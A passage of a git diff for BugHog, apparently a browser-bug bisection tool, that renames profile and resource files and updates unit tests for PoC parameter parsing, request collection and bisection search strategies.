b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata-v2 b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata-v2 similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata-v2 rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/.metadata-v2 diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1451318868ntouromlalnodry--epcr.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/1657114595AmcateirvtiSty.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/2918063365piupsah.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3561288849sdhlie.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite diff --git a/browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal b/subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal similarity index 100% rename from browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal rename to subject/web_browser/profiles/firefox2/tp-67/storage/permanent/chrome/idb/3870112724rsegmnoittet-es.sqlite-wal diff --git a/browser/profiles/firefox2/tp-67/times.json b/subject/web_browser/profiles/firefox2/tp-67/times.json similarity index 100% rename from browser/profiles/firefox2/tp-67/times.json rename to subject/web_browser/profiles/firefox2/tp-67/times.json diff --git a/experiments/res/600x400.png b/subject/web_browser/resources/600x400.png similarity index 100% rename from experiments/res/600x400.png rename to subject/web_browser/resources/600x400.png diff --git a/experiments/res/CSP/c756018.as b/subject/web_browser/resources/CSP/c756018.as similarity index 100% rename from experiments/res/CSP/c756018.as rename to subject/web_browser/resources/CSP/c756018.as diff --git a/experiments/res/CSP/c756018.swf b/subject/web_browser/resources/CSP/c756018.swf similarity index 100% rename from experiments/res/CSP/c756018.swf rename to subject/web_browser/resources/CSP/c756018.swf diff --git a/experiments/res/big-gradient.jpg b/subject/web_browser/resources/big-gradient.jpg similarity index 100% rename from experiments/res/big-gradient.jpg rename to subject/web_browser/resources/big-gradient.jpg diff --git a/experiments/res/black-transparent.png b/subject/web_browser/resources/black-transparent.png similarity index 100% rename from experiments/res/black-transparent.png rename to subject/web_browser/resources/black-transparent.png diff --git a/experiments/res/btc.pdf b/subject/web_browser/resources/btc.pdf similarity index 100% rename from experiments/res/btc.pdf rename to subject/web_browser/resources/btc.pdf diff --git a/experiments/res/bughog.css b/subject/web_browser/resources/bughog.css similarity index 100% rename from experiments/res/bughog.css rename to subject/web_browser/resources/bughog.css diff --git a/experiments/res/bughog.ico b/subject/web_browser/resources/bughog.ico similarity index 100% rename from experiments/res/bughog.ico rename to subject/web_browser/resources/bughog.ico diff --git a/experiments/res/bughog.js b/subject/web_browser/resources/bughog.js similarity index 100% rename from experiments/res/bughog.js rename to subject/web_browser/resources/bughog.js diff --git a/experiments/res/bw.png b/subject/web_browser/resources/bw.png similarity index 100% rename from experiments/res/bw.png rename to subject/web_browser/resources/bw.png diff --git a/experiments/res/font.woff b/subject/web_browser/resources/font.woff similarity index 100% rename from experiments/res/font.woff rename to subject/web_browser/resources/font.woff diff --git a/subject/web_browser/resources/horse.mp3 b/subject/web_browser/resources/horse.mp3 new file mode 100644 index 00000000..5d1e6a91 Binary files /dev/null and b/subject/web_browser/resources/horse.mp3 differ diff --git a/experiments/res/horse.ogg b/subject/web_browser/resources/horse.ogg similarity index 100% rename from experiments/res/horse.ogg rename to subject/web_browser/resources/horse.ogg diff --git a/experiments/res/rgb.png b/subject/web_browser/resources/rgb.png similarity index 100% rename from experiments/res/rgb.png rename to subject/web_browser/resources/rgb.png diff --git a/experiments/res/short-text.txt b/subject/web_browser/resources/short-text.txt similarity index 100% rename from experiments/res/short-text.txt rename to subject/web_browser/resources/short-text.txt diff --git a/experiments/res/subtitles.vtt b/subject/web_browser/resources/subtitles.vtt similarity index 100% rename from experiments/res/subtitles.vtt rename to subject/web_browser/resources/subtitles.vtt diff --git a/experiments/res/video.webm b/subject/web_browser/resources/video.webm similarity index 100% rename from experiments/res/video.webm rename to subject/web_browser/resources/video.webm diff --git a/test/availability/__init__.py b/test/availability/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/test/availability/test_folders.py b/test/availability/test_folders.py deleted file mode 100644 index 70952c3e..00000000 --- a/test/availability/test_folders.py +++ /dev/null @@ -1,48 +0,0 @@ -import os -import unittest - -from bci.configuration import Global -import bci.browser.binary.vendors.chromium as chromium -import bci.browser.binary.vendors.firefox as firefox - - -class TestFolderAvailability(unittest.TestCase): - - @staticmethod - def test_binaries_availability(): - assert os.path.isdir('/app/browser/binaries') - - assert os.path.isdir(chromium.BIN_FOLDER_PATH) - assert os.path.isdir(os.path.join(chromium.BIN_FOLDER_PATH, 'artisanal')) - assert os.path.isdir(os.path.join(chromium.BIN_FOLDER_PATH, 'downloaded')) - - assert os.path.isdir(firefox.BIN_FOLDER_PATH) - assert os.path.isdir(os.path.join(firefox.BIN_FOLDER_PATH, 'artisanal')) - assert os.path.isdir(os.path.join(firefox.BIN_FOLDER_PATH, 'downloaded')) - - @staticmethod - def test_database_availability(): - assert os.path.isdir('/app/database/data') - - @staticmethod - def test_experiments_availability(): - assert os.path.isdir('/app/experiments') - - assert os.path.isdir(Global.custom_page_folder) - assert os.listdir(Global.custom_page_folder) - - @staticmethod - def test_extensions_availability(): - assert os.path.isdir('/app/browser/extensions') - assert os.path.isdir(chromium.EXTENSION_FOLDER_PATH) - assert os.path.isdir(firefox.EXTENSION_FOLDER_PATH) - - @staticmethod - def test_profiles_availability(): - assert os.path.isdir('/app/browser/profiles') - assert os.listdir('/app/browser/profiles') - - @staticmethod - def test_ssl_availability(): - assert os.path.isdir('/etc/nginx/ssl/') - assert os.path.isfile('/etc/nginx/ssl/certs/bughog_CA.crt') diff --git a/bci/version_control/repository/online/__init__.py b/test/experiments/__init__.py similarity index 100% rename from bci/version_control/repository/online/__init__.py rename to test/experiments/__init__.py diff --git a/test/experiments/test_poc_parameter_parsing.py b/test/experiments/test_poc_parameter_parsing.py new file mode 100644 index 00000000..7eee0778 --- /dev/null +++ b/test/experiments/test_poc_parameter_parsing.py @@ -0,0 +1,68 @@ +import unittest +from unittest.mock import mock_open, patch + +from bughog.evaluation.file_structure import File + + +class TestPocParameterParsing(unittest.TestCase): + + def test_html_file_param_parsing(self): + file = File('index.html', '/') + + mock_data = [ + '', + '', + ' ', + '', + ] + m = mock_open(read_data='\n'.join(mock_data)) + + with patch('builtins.open', m): + assert file.get_bughog_poc_parameter('test1') == 'true' + assert file.get_bughog_poc_parameter('test2') == 'false' + assert file.get_bughog_poc_parameter('test3') == 'value' + + def test_css_file_param_parsing(self): + file = File('stylesheet.css', '/') + + mock_data = [ + '/* bughog_test1: true */', + ' /* bughog_test2: false */ ', + '/*bughog_test3:value*/', + ] + m = mock_open(read_data='\n'.join(mock_data)) + + with patch('builtins.open', m): + assert file.get_bughog_poc_parameter('test1') == 'true' + assert file.get_bughog_poc_parameter('test2') == 'false' + assert file.get_bughog_poc_parameter('test3') == 'value' + + def test_js_file_param_parsing(self): + file = File('script.js', '/') + + mock_data = [ + '// bughog_test1: true', + ' // bughog_test2: false ', + '//bughog_test3:value', + ] + m = mock_open(read_data='\n'.join(mock_data)) + + with patch('builtins.open', m): + assert file.get_bughog_poc_parameter('test1') == 'true' + assert file.get_bughog_poc_parameter('test2') == 'false' + assert file.get_bughog_poc_parameter('test3') == 'value' + + def test_wat_file_param_parsing(self): + file = File('poc.wat', '/') + + mock_data = [ + ';; bughog_test1: true', + ' ;; bughog_test2: false ', + ';;bughog_test3:value', + ] + m = mock_open(read_data='\n'.join(mock_data)) + + with patch('builtins.open', m): + assert file.get_bughog_poc_parameter('test1') == 'true' + assert file.get_bughog_poc_parameter('test2') == 'false' + assert file.get_bughog_poc_parameter('test3') == 'value' diff --git a/test/http_collector/test_collector.py b/test/http_collector/test_collector.py index 26311c8d..40999a30 100644 --- a/test/http_collector/test_collector.py +++ b/test/http_collector/test_collector.py @@ -3,25 +3,25 @@ import requests -from bci.evaluations.collectors.collector import Collector, Type +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.collectors.requests import RequestCollector class TestCollector(unittest.TestCase): - @staticmethod def test_start_stop(): - collector = Collector([Type.REQUESTS]) - results = collector.collect_results() - assert results['requests'] == [] - assert results['req_vars'] == [] + collector = Collector([RequestCollector()]) + raw_results, variables = collector.collect_results() + assert raw_results['requests'] == [] + assert variables == set() collector.start() time.sleep(2) collector.stop() - results = collector.collect_results() - assert results['requests'] == [] - assert results['req_vars'] == [] + raw_results, variables = collector.collect_results() + assert raw_results['requests'] == [] + assert variables == set() time.sleep(1) # Port should be freed @@ -31,16 +31,12 @@ def test_start_stop(): @staticmethod def test_requests(): - collector = Collector([Type.REQUESTS]) + collector = Collector([RequestCollector()]) collector.start() - response_data = { - 'url': 'bughog_testvar=123', - 'method': 'GET', - 'headers': [], - 'content': 'test' - } + response_data = {'url': 'https://leak.test/report/?bughog_testvar=123', 'method': 'GET', 'headers': [], 'content': 'test'} requests.post('http://localhost:5001', json=response_data) time.sleep(1) collector.stop() - results = collector.collect_results() - assert results['requests'] == [response_data] + raw_results, variables = collector.collect_results() + assert raw_results['requests'] == [response_data] + assert len(variables) == 1 and ('testvar', '123') in variables diff --git a/test/sequence/test_biggest_gap_bisection_search.py b/test/sequence/test_biggest_gap_bisection_search.py index 7c110d33..03f5d790 100644 --- a/test/sequence/test_biggest_gap_bisection_search.py +++ b/test/sequence/test_biggest_gap_bisection_search.py @@ -1,7 +1,7 @@ import unittest -from bci.search_strategy.bgb_search import BiggestGapBisectionSearch -from bci.search_strategy.sequence_strategy import SequenceFinished +from bughog.search_strategy.bgb_search import BiggestGapBisectionSearch +from bughog.search_strategy.sequence_strategy import SequenceFinished from test.sequence.test_sequence_strategy import TestSequenceStrategy as helper @@ -12,9 +12,9 @@ def test_sbg_search_always_available_search(self): helper.always_has_binary, outcome_func=lambda x: True if x < 50 else False) sequence = BiggestGapBisectionSearch(state_factory) - index_sequence = [sequence.next().index for _ in range(8)] + index_sequence = [sequence.next(wait=False).index for _ in range(8)] assert index_sequence == [0, 99, 49, 74, 61, 55, 52, 50] - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) def test_sbg_search_even_available_search(self): state_factory = helper.create_state_factory( @@ -22,20 +22,20 @@ def test_sbg_search_even_available_search(self): outcome_func=lambda x: True if x < 35 else False) sequence = BiggestGapBisectionSearch(state_factory) - assert sequence.next().index == 0 - assert [state.index for state in sequence._completed_states] == [0] + assert sequence.next(wait=False).index == 0 + assert [state.index for state in sequence._considered_states] == [0] assert sequence._unavailability_gap_pairs == set() while True: try: - sequence.next() + sequence.next(wait=False) except SequenceFinished: break - assert ([state.index for state in sequence._completed_states] + assert ([state.index for state in sequence._considered_states] == [0, 24, 30, 32, 34, 36, 48, 98]) - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) assert {(first.index, last.index) for (first, last) in sequence._unavailability_gap_pairs} == {(34, 36)} @@ -45,23 +45,23 @@ def test_sbg_search_few_available_search(self): outcome_func=lambda x: True if x < 35 else False) sequence = BiggestGapBisectionSearch(state_factory) - assert sequence.next().index == 0 - assert [state.index for state in sequence._completed_states] == [0] + assert sequence.next(wait=False).index == 0 + assert [state.index for state in sequence._considered_states] == [0] assert sequence._unavailability_gap_pairs == set() - assert sequence.next().index == 99 - assert [state.index for state in sequence._completed_states] == [0, 99] + assert sequence.next(wait=False).index == 99 + assert [state.index for state in sequence._considered_states] == [0, 99] - assert sequence.next().index == 44 - assert [state.index for state in sequence._completed_states] == [0, 44, 99] + assert sequence.next(wait=False).index == 44 + assert [state.index for state in sequence._considered_states] == [0, 44, 99] - assert sequence.next().index == 22 - assert [state.index for state in sequence._completed_states] == [0, 22, 44, 99] + assert sequence.next(wait=False).index == 22 + assert [state.index for state in sequence._considered_states] == [0, 22, 44, 99] - assert sequence.next().index == 33 - assert [state.index for state in sequence._completed_states] == [0, 22, 33, 44, 99] + assert sequence.next(wait=False).index == 33 + assert [state.index for state in sequence._considered_states] == [0, 22, 33, 44, 99] - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) assert {(first.index, last.index) for (first, last) in sequence._unavailability_gap_pairs} == {(33, 44)} def test_sbg_search_few_available_search_complex(self): @@ -73,9 +73,32 @@ def test_sbg_search_few_available_search_complex(self): while True: try: - sequence.next() + sequence.next(wait=False) except SequenceFinished: break - assert ([state.index for state in sequence._completed_states] + assert ([state.index for state in sequence._considered_states] == [0, 12, 22, 34, 36, 38, 44, 56, 66, 68, 72, 78, 88, 98]) + + def test_sbg_search_specific_error_case_1(self): + state_factory = helper.create_state_factory( + helper.always_has_binary, + outcome_func=lambda x: True if x < 50 else False, + error_func=lambda x: True if x in [49, 50, 51] else False) + sequence = BiggestGapBisectionSearch(state_factory) + index_sequence = [sequence.next(wait=False).index for _ in range(15)] + assert index_sequence == [0, 99, 49, 74, 24, 36, 61, 42, 55, 45, 52, 47, 50, 48, 51] + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) + + def test_sbg_search_specific_error_case_2(self): + state_factory = helper.create_state_factory( + helper.always_has_binary, + evaluated_indexes=[0, 48, 49, 50, 51, 52, 99], + outcome_func=lambda x: True if x < 50 else False, + error_func=lambda x: True if x in [49, 50, 51] else False, + pending_func=lambda x: True if x in [48, 52] else False) + sequence = BiggestGapBisectionSearch(state_factory) + index_sequence = [sequence.next(wait=False).index for _ in range(11)] + print(index_sequence) + assert index_sequence == [24, 75, 36, 63, 42, 57, 45, 54, 46, 47, 53] + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) diff --git a/test/sequence/test_biggest_gap_bisection_sequence.py b/test/sequence/test_biggest_gap_bisection_sequence.py index c476ecdf..bd53d90d 100644 --- a/test/sequence/test_biggest_gap_bisection_sequence.py +++ b/test/sequence/test_biggest_gap_bisection_sequence.py @@ -1,7 +1,7 @@ import unittest -from bci.search_strategy.bgb_sequence import BiggestGapBisectionSequence -from bci.search_strategy.sequence_strategy import SequenceFinished +from bughog.search_strategy.bgb_sequence import BiggestGapBisectionSequence +from bughog.search_strategy.sequence_strategy import SequenceFinished from test.sequence.test_sequence_strategy import TestSequenceStrategy as helper @@ -10,33 +10,33 @@ class TestBiggestGapBisectionSequence(unittest.TestCase): def test_sbg_sequence_always_available(self): state_factory = helper.create_state_factory(helper.always_has_binary) sequence = BiggestGapBisectionSequence(state_factory, 12) - index_sequence = [sequence.next().index for _ in range(12)] + index_sequence = [sequence.next(wait=False).index for _ in range(12)] assert index_sequence == [0, 99, 49, 74, 24, 36, 61, 86, 12, 42, 67, 92] - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) def test_sbg_sequence_even_available(self): state_factory = helper.create_state_factory(helper.only_has_binaries_for_even) sequence = BiggestGapBisectionSequence(state_factory, 12) - index_sequence = [sequence.next().index for _ in range(12)] + index_sequence = [sequence.next(wait=False).index for _ in range(12)] assert index_sequence == [0, 98, 48, 72, 24, 84, 12, 36, 60, 90, 6, 18] def test_sbg_sequence_almost_none_available(self): state_factory = helper.create_state_factory(helper.has_very_few_binaries) sequence = BiggestGapBisectionSequence(state_factory, 10) - index_sequence = [sequence.next().index for _ in range(10)] + index_sequence = [sequence.next(wait=False).index for _ in range(10)] assert index_sequence == [0, 99, 44, 66, 22, 77, 11, 33, 55, 88] - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) def test_sbg_sequence_sparse_first_half_avaiable(self): state_factory = helper.create_state_factory(helper.has_very_few_binaries_in_first_half) sequence = BiggestGapBisectionSequence(state_factory, 17) - index_sequence = [sequence.next().index for _ in range(17)] + index_sequence = [sequence.next(wait=False).index for _ in range(17)] assert index_sequence == [0, 99, 50, 22, 74, 44, 86, 62, 92, 56, 68, 80, 95, 53, 59, 65, 71] def test_sbg_sequence_always_available_with_evaluated_states(self): state_factory = helper.create_state_factory(helper.always_has_binary, evaluated_indexes=[49, 61]) sequence = BiggestGapBisectionSequence(state_factory, 17) - index_sequence = [sequence.next().index for _ in range(15)] + index_sequence = [sequence.next(wait=False).index for _ in range(15)] print(index_sequence) assert index_sequence == [0, 99, 24, 80, 36, 12, 70, 89, 42, 6, 18, 30, 55, 75, 94] - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) diff --git a/test/sequence/test_composite_search.py b/test/sequence/test_composite_search.py index 2e7ae2fd..68fe1e12 100644 --- a/test/sequence/test_composite_search.py +++ b/test/sequence/test_composite_search.py @@ -1,7 +1,7 @@ import unittest -from bci.search_strategy.composite_search import CompositeSearch -from bci.search_strategy.sequence_strategy import SequenceFinished +from bughog.search_strategy.composite_search import CompositeSearch +from bughog.search_strategy.sequence_strategy import SequenceFinished from test.sequence.test_sequence_strategy import TestSequenceStrategy as helper @@ -14,7 +14,7 @@ def test_binary_sequence_always_available_composite(self): sequence = CompositeSearch(state_factory, 10) # Sequence - index_sequence = [sequence.next().index for _ in range(10)] + index_sequence = [sequence.next(wait=False).index for _ in range(10)] assert index_sequence == [0, 99, 49, 74, 24, 36, 61, 86, 12, 42] # Simulate that the previous part of the evaluation has been completed @@ -25,10 +25,10 @@ def test_binary_sequence_always_available_composite(self): ) # Sequence - index_sequence = [sequence.next().index for _ in range(3)] + index_sequence = [sequence.next(wait=False).index for _ in range(3)] assert index_sequence == [55, 52, 50] - self.assertRaises(SequenceFinished, sequence.next) + self.assertRaises(SequenceFinished, lambda: sequence.next(wait=False)) def test_binary_sequence_always_available_composite_two_shifts(self): state_factory = helper.create_state_factory( @@ -37,7 +37,7 @@ def test_binary_sequence_always_available_composite_two_shifts(self): sequence = CompositeSearch(state_factory, 10) # Sequence - index_sequence = [sequence.next().index for _ in range(10)] + index_sequence = [sequence.next(wait=False).index for _ in range(10)] assert index_sequence == [0, 99, 49, 74, 24, 36, 61, 86, 12, 42] # Simulate that the previous part of the evaluation has been completed @@ -49,12 +49,12 @@ def test_binary_sequence_always_available_composite_two_shifts(self): while True: try: - print(sequence.next()) + print(sequence.next(wait=False)) except SequenceFinished: break assert sequence.search_strategy is not None - evaluated_indexes = [state.index for state in sequence.search_strategy._completed_states] + evaluated_indexes = [state.index for state in sequence.search_strategy._considered_states] assert sequence.search_strategy is not None assert 32 in evaluated_indexes diff --git a/test/sequence/test_sequence_strategy.py b/test/sequence/test_sequence_strategy.py index 8f0e6486..822f1c04 100644 --- a/test/sequence/test_sequence_strategy.py +++ b/test/sequence/test_sequence_strategy.py @@ -2,55 +2,82 @@ from typing import Callable, Optional from unittest.mock import MagicMock -from bci.evaluations.logic import EvaluationConfiguration, EvaluationRange -from bci.search_strategy.sequence_strategy import SequenceStrategy -from bci.version_control.state_factory import StateFactory -from bci.version_control.states.state import State, StateResult +from bughog.parameters import EvaluationParameters, EvaluationRange +from bughog.search_strategy.sequence_strategy import SequenceStrategy +from bughog.version_control.state.base import State +from bughog.version_control.state_factory import StateFactory class TestSequenceStrategy(unittest.TestCase): - - ''' + """ Helper functions to create states and state factories for testing. - ''' + """ @staticmethod - def get_states(indexes: list[int], is_available, outcome_func) -> list[State]: - return [TestSequenceStrategy.create_state(index, is_available, outcome_func) for index in indexes] + def get_states(indexes: list[int], is_available, outcome_func, error_func, pending_func) -> list[State]: + return [ + TestSequenceStrategy.create_state(index, is_available, outcome_func, error_func, pending_func) + for index in indexes + ] @staticmethod def create_state_factory( is_available: Callable, evaluated_indexes: Optional[list[int]] = None, - outcome_func: Optional[Callable] = None) -> StateFactory: - eval_params = MagicMock(spec=EvaluationConfiguration) + outcome_func: Optional[Callable] = None, + error_func: Optional[Callable] = None, + pending_func: Optional[Callable] = None, + ) -> StateFactory: + eval_params = MagicMock(spec=EvaluationParameters) eval_params.evaluation_range = MagicMock(spec=EvaluationRange) eval_params.evaluation_range.major_version_range = [0, 99] factory = MagicMock(spec=StateFactory) factory.__eval_params = eval_params - factory.create_state = lambda index: TestSequenceStrategy.create_state(index, is_available, outcome_func) - first_state = TestSequenceStrategy.create_state(0, is_available, outcome_func) - last_state = TestSequenceStrategy.create_state(99, is_available, outcome_func) + factory.create_state = lambda index: TestSequenceStrategy.create_state( + index, is_available, outcome_func, error_func, pending_func + ) + first_state = TestSequenceStrategy.create_state(0, is_available, outcome_func, error_func, pending_func) + last_state = TestSequenceStrategy.create_state(99, is_available, outcome_func, error_func, pending_func) factory.boundary_states = (first_state, last_state) if evaluated_indexes: - factory.create_evaluated_states = lambda: TestSequenceStrategy.get_states(evaluated_indexes, lambda _: True, outcome_func) + factory.create_evaluated_states = lambda: TestSequenceStrategy.get_states( + evaluated_indexes, lambda _: True, outcome_func, error_func, pending_func + ) else: factory.create_evaluated_states = lambda: [] return factory @staticmethod - def create_state(index, is_available: Callable, outcome_func: Optional[Callable]) -> State: + def create_state( + index, + is_available: Callable, + outcome_func: Optional[Callable], + error_func: Optional[Callable], + pending_func: Optional[Callable], + ) -> State: state = MagicMock(spec=State) state.index = index - state.has_available_binary = lambda: is_available(index) + state.has_available_executable = lambda: is_available(index) + state.has_result = lambda: State.has_result(state) + state.has_dirty_result = lambda: State.has_dirty_result(state) state.has_same_outcome = lambda x: State.has_same_outcome(state, x) - state.has_dirty_or_no_result = lambda: State.has_dirty_or_no_result(state) - state.result = StateResult([], [], [], False, outcome_func(index) if outcome_func else False) + + if error_func is None or not error_func(index): + if outcome_func and outcome_func(index): + state.result_variables = {('sanity_check', 'ok'), ('reproduced', 'ok')} + else: + state.result_variables = {('sanity_check', 'ok')} + else: + state.result_variables = set() + + if pending_func and pending_func(index): + state.result_variables = None + state.__eq__ = State.__eq__ state.__repr__ = State.__repr__ - state.get_previous_and_next_state_with_binary = lambda: State.get_previous_and_next_state_with_binary(state) + state.find_nearest_state_with_executable = MagicMock(side_effect=NotImplementedError) return state @staticmethod @@ -71,26 +98,32 @@ def has_very_few_binaries_in_first_half(index) -> bool: return index % 22 == 0 return True - ''' + """ Actual tests - ''' + """ def test_find_closest_state_with_available_binary_1(self): state_factory = TestSequenceStrategy.create_state_factory(TestSequenceStrategy.always_has_binary) sequence_strategy = SequenceStrategy(state_factory, 0) - state = sequence_strategy._find_closest_state_with_available_binary(state_factory.create_state(5), (state_factory.create_state(0), state_factory.create_state(10))) + state = sequence_strategy._find_closest_state_with_available_binary( + state_factory.create_state(5), (state_factory.create_state(0), state_factory.create_state(10)), False + ) assert state is not None assert state.index == 5 def test_find_closest_state_with_available_binary_2(self): state_factory = TestSequenceStrategy.create_state_factory(TestSequenceStrategy.only_has_binaries_for_even) sequence_strategy = SequenceStrategy(state_factory, 0) - state = sequence_strategy._find_closest_state_with_available_binary(state_factory.create_state(5), (state_factory.create_state(0), state_factory.create_state(10))) + state = sequence_strategy._find_closest_state_with_available_binary( + state_factory.create_state(5), (state_factory.create_state(0), state_factory.create_state(10)), False + ) assert state is not None assert state.index == 4 def test_find_closest_state_with_available_binary_3(self): state_factory = TestSequenceStrategy.create_state_factory(TestSequenceStrategy.only_has_binaries_for_even) sequence_strategy = SequenceStrategy(state_factory, 0) - state = sequence_strategy._find_closest_state_with_available_binary(state_factory.create_state(1), (state_factory.create_state(0), state_factory.create_state(2))) + state = sequence_strategy._find_closest_state_with_available_binary( + state_factory.create_state(1), (state_factory.create_state(0), state_factory.create_state(2)), False + ) assert state is None diff --git a/test/states/test_state_result.py b/test/states/test_state_result.py index d8586dc7..bfde63c6 100644 --- a/test/states/test_state_result.py +++ b/test/states/test_state_result.py @@ -1,124 +1,56 @@ import unittest -from bci.evaluations.collectors.collector import Collector, Type -from bci.version_control.state_result_factory import StateResultFactory +from bughog.evaluation.collectors.collector import Collector +from bughog.evaluation.collectors.requests import RequestCollector +from bughog.evaluation.experiment_result import ExperimentResult class TestCollector(unittest.TestCase): - @staticmethod def get_collector(request_urls: list[str]) -> Collector: - collector = Collector([Type.REQUESTS]) + collector = Collector([RequestCollector()]) requests = [{'url': url} for url in request_urls] - collector.collectors[0].data['requests'] = requests + collector.subcollectors[0].data['requests'] = requests return collector def test_request_parsing_1(self): - collector = TestCollector.get_collector([ - 'https://a.test/report/?bughog_reproduced=OK', - 'https://a.test/report/?bughog_sanity_check=OK' - ]) - state_result_factory = StateResultFactory() + collector = TestCollector.get_collector( + ['https://a.test/report/?bughog_reproduced=OK', 'https://a.test/report/?bughog_sanity_check=OK'] + ) - state_result = state_result_factory.get_result(collector.collect_results()) - assert state_result.reproduced - assert not state_result.is_dirty + _, variables = collector.collect_results() + assert ExperimentResult.poc_is_reproduced(variables) + assert not ExperimentResult.poc_is_dirty(variables) def test_request_parsing_2(self): - collector = TestCollector.get_collector([ - 'https://a.test/report/?bughog_reproduced=OK' - ]) - state_result_factory = StateResultFactory() + collector = TestCollector.get_collector(['https://a.test/report/?bughog_reproduced=OK']) - state_result = state_result_factory.get_result(collector.collect_results()) - assert state_result.reproduced - assert not state_result.is_dirty + _, variables = collector.collect_results() + assert ExperimentResult.poc_is_reproduced(variables) + assert not ExperimentResult.poc_is_dirty(variables) def test_request_parsing_3(self): - collector = TestCollector.get_collector([ - 'https://a.test/report/?bughog_sanity_check=OK' - ]) - state_result_factory = StateResultFactory() + collector = TestCollector.get_collector(['https://a.test/report/?bughog_sanity_check=OK']) - state_result = state_result_factory.get_result(collector.collect_results()) - assert not state_result.reproduced - assert not state_result.is_dirty + _, variables = collector.collect_results() + assert not ExperimentResult.poc_is_reproduced(variables) + assert not ExperimentResult.poc_is_dirty(variables) def 